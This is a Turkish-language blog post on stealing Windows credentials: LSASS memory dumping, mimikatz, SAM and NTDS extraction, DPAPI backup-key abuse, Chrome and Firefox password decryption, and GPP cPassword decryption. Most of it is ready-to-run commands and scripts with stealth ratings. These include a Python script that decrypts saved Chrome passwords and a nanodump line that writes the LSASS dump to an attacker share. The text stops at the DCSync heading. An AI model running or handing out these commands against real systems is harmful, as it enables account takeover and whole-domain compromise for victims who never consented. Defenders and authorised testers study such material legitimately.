Windows Kimlik Bilgisi Erişimi: LSASS, DPAPI, SAM ve Tarayıcı Sırları
Mon Jun 29 2026 · 19 min read
Category: Security Research
Windows, kimlik bilgilerini onlarca farklı yerde saklar. Bir etki alanı ortamında çalışan tek bir Windows iş istasyonunda; LSASS belleğinde NT hash'leri ve Kerberos biletleri, SAM veritabanında yerel hesap hash'leri, DPAPI korumasıyla tarayıcı şifreleri, Credential Manager'da ağ kimlik bilgileri ve SYSVOL'da eski GPP şifreleri aynı anda var olabilir. Bu karmaşıklık, savunucular için bir baş ağrısı, saldırganlar için ise bir altın maden gibidir.
2011 yılında Fransız araştırmacı Benjamin Delpy, "mimikatz" adını verdiği aracı yayınladığında Windows güvenliği dünyası kökten değişti. Delpy, Microsoft'un "cleartext şifreler bellekte saklanamaz" iddiasının aksine, Windows'un WDigest kimlik doğrulama protokolü aracılığıyla cleartext şifreleri LSASS belleğinde tuttuğunu kanıtladı. O günden bu yana mimikatz, penetrasyon testlerinin ve gerçek saldırıların vazgeçilmez aracı haline geldi; MITRE ATT&CK T1003 (OS Credential Dumping) teknik ailesi ise bu saldırı kategorisini resmi olarak belgeledi.
Bu yazıda Windows kimlik bilgisi erişimini derinlemesine inceleyeceğiz: LSASS'ın SSP mimarisi, DPAPI'nin anahtar hiyerarşisi, SAM ve NTDS dump teknikleri, Credential Manager kötüye kullanımı, Chrome ve Firefox şifre şifre çözme mekanizmaları ve GPP kimlik bilgileri. Her teknik için gerçek komutlar, OPSEC değerlendirmeleri ve tespit rehberi sunacağız.
1. LSASS (Local Security Authority Subsystem Service) Derinlemesine
LSASS, Windows'un kimlik doğrulama altyapısının kalbidir. Tüm oturum açma işlemlerini yönetir, Kerberos biletlerini işler, NTLM challenge-response protokolünü uygular ve kullanıcı oturumlarıyla ilişkili kimlik bilgilerini bellekte tutar. Process PID'i genellikle 600'lü aralıktadır (sistem yapılandırmasına göre değişir) ve C:\Windows\System32\lsass.exe konumunda bulunur.
LSASS'ın kritik özelliği, farklı kimlik doğrulama protokollerini desteklemek için dinamik olarak yüklenebilen modüller olan Security Support Provider (SSP)'leri kullanmasıdır. Her SSP, farklı türde kimlik bilgilerini bellekte tutar ve bu kimlik bilgilerine erişmek, o SSP'nin sızdırılacak veriyi barındırdığı anlamına gelir.
1.1 Security Support Providers (SSP) Detayları
msv1_0.dll — NTLM Kimlik Doğrulaması
NTLM kimlik doğrulamasını yöneten modül. Bellekte şunları tutar:
- NT hash: Kullanıcı şifresinin MD4 hash'i. Pass-the-Hash saldırılarında doğrudan kullanılabilir.
- LM hash: Eski sistemlerde hâlâ bulunabilir. Kırılması çok kolaydır.
- NTLMv1/v2 challenge-response: NTLM el sıkışmasında kullanılan oturum hash'leri.
- Oturum anahtarları: SMB imzalama ve şifreleme için kullanılan anahtar materyali.
mimikatz komutu: sekurlsa::msv veya sekurlsa::logonpasswords
kerberos.dll — Kerberos Protokolü
Active Directory ortamlarında birincil kimlik doğrulama protokolü olan Kerberos'u yönetir. Bellekte şunları tutar:
- TGT (Ticket Granting Ticket): AS-REP'ten alınan bilet. Domain Controller ile oturum açmadan kullanılabilir.
- TGS (Ticket Granting Service): Belirli servislere erişim için kullanılan servis biletleri.
- Oturum anahtarları: TGT ve TGS ile ilişkili şifreleme anahtarları.
- APREQ token'ları: Servis kimlik doğrulaması için hazırlanmış token'lar.
mimikatz komutları: sekurlsa::kerberos, kerberos::list /export
Önemli: Kerberos biletleri pass-the-ticket saldırısında kullanılabilir. TGT'ye sahipseniz, o kullanıcı adına herhangi bir TGS alabilirsiniz. krbtgt hash'i ele geçirilirse Golden Ticket oluşturulabilir.
wdigest.dll — HTTP Digest Kimlik Doğrulaması
HTTP Digest kimlik doğrulaması için tasarlanmış bu modül, protokolün gereksinimi nedeniyle cleartext şifreleri bellekte tutmak zorunda kalıyordu. Benjamin Delpy'nin keşfettiği ve dünyayı sarsan güvenlik açığı tam olarak buydu.
- Windows 7 / Server 2008: Varsayılan AÇIK. Cleartext şifreler LSASS belleğinde bulunur.
- Windows 8.1 / Server 2012 R2+: Varsayılan KAPALI. KB2871997 ile devre dışı bırakıldı.
- Yeniden etkinleştirme:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 1
Saldırganlar bu registry anahtarını 1'e ayarlayıp kurbanın yeniden oturum açmasını bekleyerek cleartext şifreyi elde edebilir. Ancak bu işlem kayıt bırakır.
mimikatz komutu: sekurlsa::wdigest
tspkg.dll — Terminal Services / RDP Kimlik Bilgileri
Terminal Services kimlik doğrulamasını yönetir. Aktif RDP oturumları varsa bellekte cleartext kullanıcı adı ve şifre tutabilir. Özellikle jump server veya RDP gateway sistemlerinde değerlidir.
mimikatz komutu: sekurlsa::tspkg
livessp.dll — Microsoft Hesabı (Live ID)
Windows 8 ve 8.1 döneminde Microsoft hesabı kimlik doğrulaması için kullanılan SSP. Günümüzde büyük ölçüde cloudap.dll tarafından yerini almıştır.
mimikatz komutu: sekurlsa::livessp
cloudap.dll — Azure AD / Windows Hello
Modern Windows cihazlarında Azure Active Directory (Entra ID) kimlik doğrulamasını yönetir. Bellekte şunları tutar:
- PRT (Primary Refresh Token): Azure AD oturumu için kullanılan uzun ömürlü token. Bu token ile yeni access token ve refresh token elde edilebilir.
- Windows Hello anahtarları: PIN veya biyometrik kimlik doğrulama için kullanılan özel anahtarlar.
- Nonce'lar ve proof token'ları: Azure AD ile iletişim için kullanılan kriptografik materyaller.
mimikatz komutu: sekurlsa::cloudap
Not: PRT ele geçirilmesi, MFA atlayarak Azure portalı, Microsoft 365, Teams ve tüm Azure kaynaklarına erişim imkânı verebilir. Bu, "Pass-the-PRT" saldırısı olarak bilinir.
credssp.dll — Credential Security Support Provider
Network Level Authentication (NLA) ve CredSSP protokolünü yönetir. RDP bağlantılarında tam kimlik bilgilerini uzak sisteme aktarır. Bağlantı kurulduktan sonra bu kimlik bilgileri uzak sistemin LSASS belleğinde belirir.
mimikatz komutu: sekurlsa::credman
1.2 LSASS Dump Teknikleri
LSASS dump için birden fazla yöntem mevcuttur. Her birinin farklı OPSEC profili ve gereksinim düzeyi vardır:
Yöntem 1: Task Manager (GUI)
En kolay ve en gürültülü yöntem. Etkileşimli bir oturum gerektirir.
# Görev Yöneticisi → Ayrıntılar sekmesi → lsass.exe
# Sağ tıklayın → "Döküm dosyası oluştur"
# Çıktı: C:\Users\[kullanıcı]\AppData\Local\Temp\lsass.DMP
# OPSEC: ÇOK YÜKSEK — Sysmon Event 10 tetikler
Yöntem 2: ProcDump (Microsoft İmzalı)
Sysinternals'ın ProcDump aracı Microsoft tarafından dijital imzalanmıştır. Bu, bazı eski AV çözümlerini atlayabilir. Ancak modern EDR'ler bu aracın lsass.exe'ye erişimini algılar.
# Temel kullanım
procdump.exe -ma lsass.exe lsass_dump.dmp
# EULA kabul ettirerek (silent)
procdump.exe -ma -accepteula lsass.exe C:\temp\lsass.dmp
# PID ile (process ismi yerine)
procdump.exe -ma 640 C:\temp\lsass.dmp
# OPSEC: YÜKSEK — Sysmon Event 10, Defender ATP uyarısı
Yöntem 3: comsvcs.dll MiniDump (LOLBin)
Sistemde yerleşik olarak bulunan comsvcs.dll dosyasının MiniDump export fonksiyonunu kullanan bu teknik, ekstra araç gerektirmez — bu yüzden "Living off the Land Binary (LOLBin)" olarak sınıflandırılır.
# PowerShell ile PID al ve dump oluştur
$LSASS = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $LSASS C:\temp\lsass.dmp full
# CMD ile tek satır
rundll32 comsvcs.dll MiniDump (wmic process where name="lsass.exe" get processid /value | findstr ProcessId | cut -d= -f2) C:\temp\lsass.dmp full
# Powershell tek satır (obfuscated)
$p=(Get-Process l*s).Id; rundll32 $env:SystemRoot\System32\comsvcs.dll, MiniDump $p $env:TEMP\out.dmp full;Wait-Job -Any
# OPSEC: ORTA — rundll32 + comsvcs kombinasyonu flaglenir
# Sysmon Event 11 (dosya oluşturma), Event 10 (process access)
Yöntem 4: nanodump (PPL Bypass)
nanodump, PPL (Protected Process Light) korumasını bypass eden gelişmiş bir LSASS dump aracıdır. Process handle açmak yerine, işlem fork'lama veya handle çoğaltma tekniklerini kullanır.
# Temel kullanım
nanodump.exe --write C:\temp\lsass.dmp
# PID belirterek
nanodump.exe -p 640 --write C:\temp\lsass.dmp
# Handle duplicate yöntemi (daha gizli)
nanodump.exe --dup --write C:\temp\lsass.dmp
# Uzaktan SMB üzerinden (C2 içinde)
nanodump.exe -p 640 --dup --write \\attacker\share\lsass.dmp
# OPSEC: DÜŞÜK — kernel düzeyinde olaylar, kullanıcı modu denetimi atlatılır
# PPL bypass için kernel driver veya exploit gerekebilir
Yöntem 5: SilentProcessExit
Windows hata raporlama mekanizmasını kullanan gizli bir teknik:
# Registry anahtarları ile dump tetikleme
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# Sonra lsass.exe'yi öldür (dikkatli olun — sistem çöker!)
# Daha güvenli: farklı bir process üzerinde deneyin
# OPSEC: YÜKSEK — registry değişikliği + process kill çok dikkat çekicidir
Yöntem 6: Impacket secretsdump (Uzaktan)
# Kullanıcı adı/şifre ile
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10
# NT hash ile (Pass-the-Hash)
python3 secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee:NT_HASH_HERE [email protected]
# Kerberos bileti ile
python3 secretsdump.py -k -no-pass corp.local/[email protected]
# Sadece SAM
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL
# OPSEC: DÜŞÜK/ORTA — ağ üzerinden, yerel process erişimi yok
# DCSync modu: Event 4662 tetikler
1.3 mimikatz ile Hash Çıkarma
Dump dosyası elde edildikten sonra veya doğrudan sistem üzerinde mimikatz kullanılarak hash'ler çıkarılır:
# Önce debug yetkisi al (SeDebugPrivilege — SYSTEM gerektirir)
privilege::debug
# Tüm oturum açmış kullanıcıların kimlik bilgilerini al
# NT hash + cleartext (WDigest aktifse) + Kerberos biletleri
sekurlsa::logonpasswords
# Sadece WDigest cleartext şifreler
sekurlsa::wdigest
# Kerberos TGT ve TGS biletlerini al
sekurlsa::kerberos
# RDP (TS) kimlik bilgilerini al
sekurlsa::tspkg
# NTLM kimlik bilgilerini al
sekurlsa::msv
# Azure AD PRT token'larını al
sekurlsa::cloudap
# Credential Manager kimlik bilgilerini al
sekurlsa::credman
# ============================================================
# Dump dosyasından offline çıkarma (sistemde mimikatz çalıştırmadan)
# ============================================================
# Önce dump dosyasını yükle
sekurlsa::minidump C:\temp\lsass.dmp
# Artık tüm komutlar dump'tan okur
sekurlsa::logonpasswords
# SAM veritabanından yerel hash'ler
lsadump::sam
# LSA secrets (servis hesabı şifreleri, auto-logon)
lsadump::secrets
# Cached domain credentials (DCC2 formatı)
lsadump::cache
# Domain backup key al
lsadump::backupkeys /system:DC01.corp.local /export
# DCSync — belirli bir kullanıcının hash'ini DC'den çek
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /all /csv
1.4 Credential Guard
Microsoft, Windows 10 sürüm 1511'den itibaren Credential Guard özelliğini sundu. Bu özellik, Hyper-V tabanlı sanallaştırma kullanarak LSASS'ı izole bir ortamda çalıştırır (VSM — Virtual Secure Mode / VTL1).
Credential Guard'ın koruduğu şeyler:
- NT hashes (msv1_0.dll) — artık VTL1'de, kullanıcı modundan erişilemez
- Kerberos TGT/TGS — artık VTL1'de
- WDigest cleartext şifreler — tamamen engellendi
Credential Guard'ın KORUMАDIĞI şeyler:
- SAM veritabanındaki yerel hash'ler
- NTDS.dit (domain hash'leri)
- DPAPI master key'leri
- Tarayıcı şifreleri
- Ağ üzerinden yakalanan NTLM hash'leri (responder vb.)
- Credential Manager vault girişleri
Credential Guard etkinleştirme durumunu kontrol etme:
# PowerShell ile kontrol
(Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -Class Win32_DeviceGuard).SecurityServicesRunning
# 1 = Credential Guard aktif, 2 = HVCI aktif
Registry kontrolü
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags
2. SAM Veritabanı (Security Account Manager)
SAM veritabanı, Windows'un yerel kullanıcı hesaplarının kimlik bilgilerini depoladığı kritik bir dosyadır. Fiziksel konum: C:\Windows\System32\config\SAM
SAM dosyası, sisteme özel bir boot anahtarı (syskey/bootkey) ile şifrelenmiştir. Bu anahtarı çözmek için SYSTEM hive dosyasına da ihtiyaç vardır (C:\Windows\System32\config\SYSTEM).
Çalışan bir sistemde SAM dosyası kilitlidir; Volume Shadow Copy (VSS) veya registry export ile kopyalanmalıdır.
2.1 SAM Dump Teknikleri
Volume Shadow Copy (VSS) ile
# VSS snapshot oluştur
vssadmin create shadow /for=C:
# Shadow copy yolunu bul
vssadmin list shadows
# SAM ve SYSTEM'i kopyala (shadow copy yolunu kullan)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# Temizlik
vssadmin delete shadows /shadow:{GUID}
# Impacket ile hash çıkar
python3 secretsdump.py -sam C:\temp\SAM -system C:\temp\SYSTEM LOCAL
Registry Export ile (etkileşimli oturumda)
# Registry üzerinden SAM ve SYSTEM export et
reg save HKLM\SAM C:\temp\SAM.hive
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
reg save HKLM\SECURITY C:\temp\SECURITY.hive
# Yerel impacket analizi
python3 secretsdump.py -sam SAM.hive -security SECURITY.hive -system SYSTEM.hive LOCAL
mimikatz ile (canlı sistem)
privilege::debug
token::elevate # SYSTEM token al
lsadump::sam # SAM'dan hash'leri çıkar
2.2 LSA Secrets
LSA Secrets, HKLM\SECURITY\Policy\Secrets registry anahtarında saklanan ve sistem düzeyindeki sırları içeren özel bir yapıdır. Bunlar arasında:
- _SC_ServiceName: Windows servislerinin çalıştığı hesapların şifreleri
- DefaultPassword: Otomatik oturum açma şifresi (auto-logon)
- NL$KM: Cached domain credentials için şifreleme anahtarı
- $MACHINE.ACC: Domain makine hesabının şifresi (her 30 günde değişir)
- DPAPI_SYSTEM: Sistem düzeyinde DPAPI master key'i
# mimikatz ile LSA Secrets çıkar
privilege::debug
token::elevate
lsadump::secrets
# Impacket ile
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10 -just-lsa
2.3 Cached Domain Credentials (DCC2)
Windows, domain controller'a ağ bağlantısı olmadığında bile kullanıcıların oturum açabilmesi için son 10 domain kimlik bilgisini önbelleğe alır. Bunlar HKLM\SECURITY\Cache altında NL$1, NL$2 vb. adlarla saklanır.
Hash formatı: DCC2 (MS-Cache v2) — hashcat modu -m 2100
DCC2 hash'leri, NTLM hash'lerinin aksine ağ kimlik doğrulamasında kullanılamaz (Pass-the-Hash çalışmaz). Ancak kırılarak cleartext şifreye ulaşılabilir. Kırma işlemi Kerberoast'tan çok daha yavaştır.
# mimikatz ile cached credentials
privilege::debug
token::elevate
lsadump::cache
# Hashcat ile kırma
hashcat -m 2100 dcc2_hash.txt wordlist.txt
# Format: $DCC2$10240#username#hash
# Örnek
hashcat -m 2100 '$DCC2$10240#administrator#a4bcd...' rockyou.txt --rules best64.rule
3. DPAPI (Data Protection API) Derinlemesine
DPAPI, Microsoft'un Windows'ta kullanıcı sırlarını saklamak için geliştirdiği şifreleme altyapısıdır. 1999'dan bu yana Windows'ta mevcuttur ve kullanımı son derece yaygındır: Chrome şifreleri, Credential Manager, Wi-Fi şifreleri, EFS anahtarları, sertifika özel anahtarları ve daha fazlası DPAPI ile korunur.
DPAPI'nin temel prensibi: şifreleme anahtarı kullanıcının şifresinden türetilir. Bu sayede kullanıcı oturum açtığında veriye erişebilir, oturum kapalıyken veriye erişilemez. Ancak bu tasarımın önemli bir zayıflığı vardır: domain backup key.
3.1 DPAPI Anahtar Hiyerarşisi
Seviye 1: Domain Backup Key
Active Directory ortamlarında, Domain Controller'da özel bir "DPAPI backup key" saklanır. Bu anahtar, domain üzerindeki tüm kullanıcıların master key'lerini şifrelemek için kullanılır. Anahtara sahip olan kişi, domain'deki tüm kullanıcıların DPAPI sırlarını çözebilir.
- Konum: DC'nin LSASS belleğinde ve AD veritabanında
- Tüm DC'lere replike edilir
- Domain Admin hakları gerektirir
- Yıllar boyunca değişmez (dikkat!)
# mimikatz ile domain backup key çıkar
lsadump::backupkeys /system:DC01.corp.local /export
# Çıktı: ntds_capi_*.pvk ve ntds_legacyapi_*.pvk dosyaları
# Impacket dpapi.py ile
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01.corp.local
Seviye 2: User Master Key
Her kullanıcının bir veya birden fazla master key'i vardır. Bu key'ler kullanıcı profil klasöründe GUID adlı dosyalar olarak saklanır:
# Master key konumu
%APPDATA%\Microsoft\Protect\{SID}\{GUID}
# Örnek:
C:\Users\jdoe\AppData\Roaming\Microsoft\Protect\S-1-5-21-...-1001\{3a4b5c6d-...}
Master key, kullanıcı şifresinden ve SID'den türetilir (PBKDF2 + HMAC-SHA1). Domain ortamında domain backup key ile de şifrelenmiş bir kopyası bulunur.
Seviye 3: DPAPI_BLOB
Her şifrelenmiş veri parçası bir DPAPI_BLOB formatındadır. Bu blob'un başlığında hangi master key GUID'inin kullanıldığı yazar, böylece şifre çözme sırasında doğru master key bulunabilir.
Seviye 4: Korunan Sır
Blob şifrelendikten sonra ortaya çıkan gerçek sır: tarayıcı şifresi, Wi-Fi anahtarı, sertifika özel anahtarı vb.
3.2 DPAPI Saldırı Teknikleri
Domain Backup Key ile Toplu Çözme
# 1. Backup key'i al (DA hakları gerekli)
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01
# veya mimikatz:
lsadump::backupkeys /system:DC01.corp.local /export
# 2. SharpDPAPI ile tüm domain kullanıcılarının sırlarını çöz
# (Master key'lerini backup key ile çöz, sonra blob'ları decrypt et)
SharpDPAPI.exe triage /pvk:backup_key.pvk
# Sadece Credential Manager vault girişleri
SharpDPAPI.exe vaults /pvk:backup_key.pvk
# Chrome şifreleri
SharpDPAPI.exe logins /pvk:backup_key.pvk
# Sertifikalar
SharpDPAPI.exe certificates /pvk:backup_key.pvk
DonPAPI (Linux'tan)
# Linux saldırı makinasından tüm DPAPI sırları çek
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10
# Tüm domain'i tara
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.0/24
# Credential dosyaları var mı?
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10 --credz
Çevrimdışı DPAPI Analizi
# Belirli bir DPAPI blob'u çöz
mimikatz: dpapi::blob /in:C:\temp\blob.bin /masterkey:<hex_masterkey>
# Credential dosyası çöz
mimikatz: dpapi::cred /in:C:\Users\jdoe\AppData\Roaming\Microsoft\Credentials\{GUID}
# Master key çöz (kullanıcı şifresi biliniyorsa)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /password:Password123
# Master key çöz (domain backup key ile)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /pvk:backup.pvk
3.3 Sistem Düzeyinde DPAPI
Sistem (MACHINE) düzeyindeki DPAPI, SYSTEM hesabı bağlamındaki sırları korur. Şifreleme anahtarı makine SID'inden ve LSA boot key'inden türetilir. Bu sırlar arasında:
- Zamanlanmış görev şifreleri
- Wi-Fi PSK anahtarları (
C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\) - RDP kaydedilmiş bağlantı şifreleri (SYSTEM bağlamında)
- DPAPI_SYSTEM sırrı (LSA Secrets'ta)
# Sistem DPAPI master key çöz (SYSTEM yetkisiyle)
mimikatz:
privilege::debug
token::elevate
dpapi::masterkey /in:"C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID}" /system
# Wi-Fi şifrelerini çöz
netsh wlan export profile folder=C:\temp key=clear
# veya SharpDPAPI:
SharpDPAPI.exe wifi
4. Tarayıcı Kimlik Bilgileri
Modern tarayıcılar, kullanıcı kolaylığı için şifreleri yerel olarak saklar. Bu depolama mekanizmaları, farklı şifreleme yöntemleri kullansa da sonuçta işletim sistemi düzeyi sırlara (DPAPI veya NSS) dayandığından saldırganlar için değerli hedeflerdir.
4.1 Chrome / Edge / Chromium Tabanlı Tarayıcılar
Chrome'un şifre depolama mimarisi:
- Login Data: SQLite veritabanı —
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data - Local State: JSON dosyası —
%LOCALAPPDATA%\Google\Chrome\User Data\Local State - Şifreleme: AES-256-GCM (Chrome 80+). Şifreleme anahtarı Local State'de DPAPI blob olarak korunmuş.
Şifre çözme akışı:
- Local State JSON'dan
os_crypt.encrypted_keyalanını al - Base64 decode et →
DPAPI\x01prefix'li DPAPI blob - CryptUnprotectData() ile DPAPI blob'u çöz → AES-256 anahtarı
- Login Data SQLite'tan
loginstablosunu sorgula →password_valuesütunu - AES-256-GCM ile şifreyi çöz (nonce ilk 12 byte, prefix
v10)
# HackBrowserData (cross-platform)
./hack-browser-data -b chrome -o output/
./hack-browser-data -b all -o output/
# SharpChrome (Windows C# tool — SpecterOps)
SharpChrome.exe logins # tüm kayıtlı giriş bilgileri
SharpChrome.exe cookies # oturum çerezleri
SharpChrome.exe history # tarama geçmişi
SharpChrome.exe logins /server:dc01.corp.local # uzaktan
# Python ile manuel çözme
import sqlite3, json, base64
from Cryptodome.Cipher import AES
import win32crypt
# Local State'den AES anahtarı al
with open(r'%LOCALAPPDATA%\Google\Chrome\User Data\Local State') as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])[5:] # DPAPI prefix'i atla
aes_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
# Login Data'dan şifreli parolaları al
conn = sqlite3.connect(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data')
cursor = conn.execute("SELECT origin_url, username_value, password_value FROM logins")
for url, username, encrypted_password in cursor.fetchall():
nonce = encrypted_password[3:15] # v10 sonrası: 3 byte prefix + 12 byte nonce
ciphertext = encrypted_password[15:-16]
tag = encrypted_password[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
print(f"{url} | {username} | {plaintext.decode()}")
# DonPAPI (Linux'tan, domain kullanıcısı olarak)
python3 DonPAPI.py corp.local/jdoe:'Password123'@10.10.10.50
4.2 Firefox / Firefox Tabanlı Tarayıcılar
Firefox, Chromium'dan farklı bir şifreleme altyapısı olan NSS (Network Security Services) kullanır:
- key4.db: NSS anahtar veritabanı (SQLite formatı)
- logins.json: Şifreli giriş bilgileri (JSON formatı)
- Şifreleme: 3DES-CBC veya AES-256-CBC, NSS ile
- Master Password: Opsiyonel ek koruma. Ayarlanmamışsa makine kimlik materyali kullanılır.
# Firefox profil konumu
# Windows: %APPDATA%\Mozilla\Firefox\Profiles\{profile}.default-release\
# Linux: ~/.mozilla/firefox/{profile}.default-release/
# firefox_decrypt (Python)
python3 firefox_decrypt.py /path/to/firefox/profile/
# Master password sorulacak (yoksa boş bırakın)
# firepwd (Python — eski profiller için de çalışır)
python3 firepwd.py -d /path/to/profile/ -p master_password
# SharpWeb (C# — Windows'tan)
SharpWeb.exe all
# LaZagne (çok tarayıcılı)
python3 laZagne.py browsers
python3 laZagne.py all # tüm sırlar
4.3 OPSEC Notu: Tarayıcı Şifrelerine Erişim
Chrome'un Login Data dosyası, tarayıcı çalışırken kilitlenir. Dosyayı kopyalayarak analiz yapabilirsiniz:
# Chrome çalışırken dosyayı kopyala
copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\temp\LoginData
# Ardından kopyayı analiz et (orijinal kilitli olsa bile)
# SharpChrome kopyalama işlemini otomatik yapar
5. Windows Credential Manager (Vault)
Windows Credential Manager, ağ kimlik bilgilerini, web sitesi şifrelerini ve genel uygulama kimlik bilgilerini DPAPI korumasıyla saklar. Konum: %APPDATA%\Microsoft\Credentials\ ve %LOCALAPPDATA%\Microsoft\Credentials\
Vault girişleri iki kategoriye ayrılır:
- Windows Credentials: Ağ paylaşımları, Uzak Masaüstü bağlantıları için kimlik bilgileri
- Certificate-Based Credentials: Sertifika tabanlı kimlik bilgileri
- Generic Credentials: Uygulama düzeyinde kaydedilmiş kullanıcı adı/şifre çiftleri
# Komut satırından kayıtlı kimlik bilgilerini listele
cmdkey /list
# PowerShell ile Vault'u oku (Windows Runtime API)
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object {
$_.RetrievePassword()
[PSCustomObject]@{
UserName = $_.UserName
Resource = $_.Resource
Password = $_.Password
}
}
# mimikatz ile Vault sırlarını çöz
vault::list # tüm vault girişlerini listele
vault::cred /patch # kimlik bilgilerini çöz
# SharpDPAPI ile
SharpDPAPI.exe vaults
SharpDPAPI.exe credentials
# Fiziksel Credential dosyalarını çöz
# Konum: %APPDATA%\Microsoft\Credentials\ ve %LOCALAPPDATA%\Microsoft\Credentials\
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\{GUID}" /masterkey:<hex>
Credential Manager özellikle değerlidir çünkü kullanıcılar genellikle domain admin hesapları dahil kritik sistem şifrelerini burada kaydeder.
6. GPP Credentials (MS14-025)
Group Policy Preferences (GPP), sistem yöneticilerinin domain genelinde yapılandırma değişiklikleri yapmasına olanak tanır. 2006-2014 yılları arasında yaygın olarak kullanılan bir özellik, yerel yönetici hesabı oluşturma veya şifre ayarlama için Group Policy XML dosyalarında cPassword alanını kullanıyordu.
Bu XML dosyaları SYSVOL'da saklanır ve domain üyesi olan herkes okuyabilir. Microsoft, şifreyi AES-256 ile şifrelemişti — ancak şifreleme anahtarını da MSDN belgelerinde herkese açık olarak yayınlamıştı!
Microsoft bu açığı 2014'te MS14-025 yaması ile giderdi (GPP artık cPassword alanını kullanamıyor), ancak miras konfigürasyonlar hâlâ SYSVOL'da duruyor olabilir.
# SYSVOL'da cPassword içeren XML dosyalarını ara
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml
# CrackMapExec ile otomatik kontrol
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_autologin
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_password
# Metasploit modülü
use post/windows/gather/credentials/gpp
use auxiliary/scanner/smb/smb_enumgpp
# Impacket ile
python3 Get-GPPPassword.py corp.local/jdoe:'Password123'@10.10.10.10
# PowerSploit ile (eski ama hâlâ işe yarar)
Get-GPPPassword
Get-GPPAutologon
# Python ile manuel decrypt (AES CBC, public key!)
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
# Microsoft'ın yayınladığı AES anahtarı (32 byte)
key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
def decrypt_gpp_password(cpassword):
# Base64 padding düzelt
padding = len(cpassword) % 4
if padding:
cpassword += '=' * (4 - padding)
decoded = base64.b64decode(cpassword)
# AES-256-CBC, IV = 0
iv = b'\x00' * 16
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(decoded), 16)
return decrypted.decode('utf-16-le')
# GPP XML'den cPassword değerini alın ve decrypt edin
cpassword = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw+srsIA"
print(decrypt_gpp_password(cpassword))
6.1 GPP Güvenlik Açığının Kapsamı
GPP aracılığıyla şifre içerebilecek XML dosya türleri:
- Groups.xml: Yerel grup üyelikleri ve şifreler
- Services.xml: Windows servis yapılandırmaları
- Scheduledtasks.xml: Zamanlanmış görev kimlik bilgileri
- Datasources.xml: Veritabanı bağlantı bilgileri
- Printers.xml: Yazıcı kimlik bilgileri
- Drives.xml: Sürücü bağlantısı kimlik bilgileri
7. NTDS.dit Extraction (Domain Hash Çıkarma)
NTDS.dit, Active Directory'nin ana veritabanıdır. Domain Controller'da C:\Windows\NTDS\ntds.dit konumunda bulunur ve tüm domain kullanıcı hesaplarının NT hash'lerini içerir. Bu dosyayı ele geçirmek, tüm domain'in kimlik bilgilerini elde etmek anlamına gelir.
7.1 VSS ile NTDS.dit Kopyalama
# DC'de SYSTEM yetkisiyle VSS snapshot oluştur
vssadmin create shadow /for=C:
# Shadow copy yolunu bul
vssadmin list shadows
# NTDS ve SYSTEM'i kopyala
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
# Snapshot'ı temizle
vssadmin delete shadows /shadow:{GUID} /quiet
# Hash çıkarma
python3 secretsdump.py -ntds C:\temp\ntds.dit -system C:\temp\SYSTEM.hive LOCAL -outputfile hashes
# Çıktı formatları
python3 secretsdump.py ... -outputfile hashes # her format için ayrı dosya oluşturur
# hashes.ntds: kullanıcı:UID:LMhash:NThash:::
# hashes.ntds.kerberos: Kerberos anahtarları
# hashes.ntds.cleartext: cleartext şifreler (varsa)
7.2 DCSync (Uzaktan, Ağ Üzerinden)
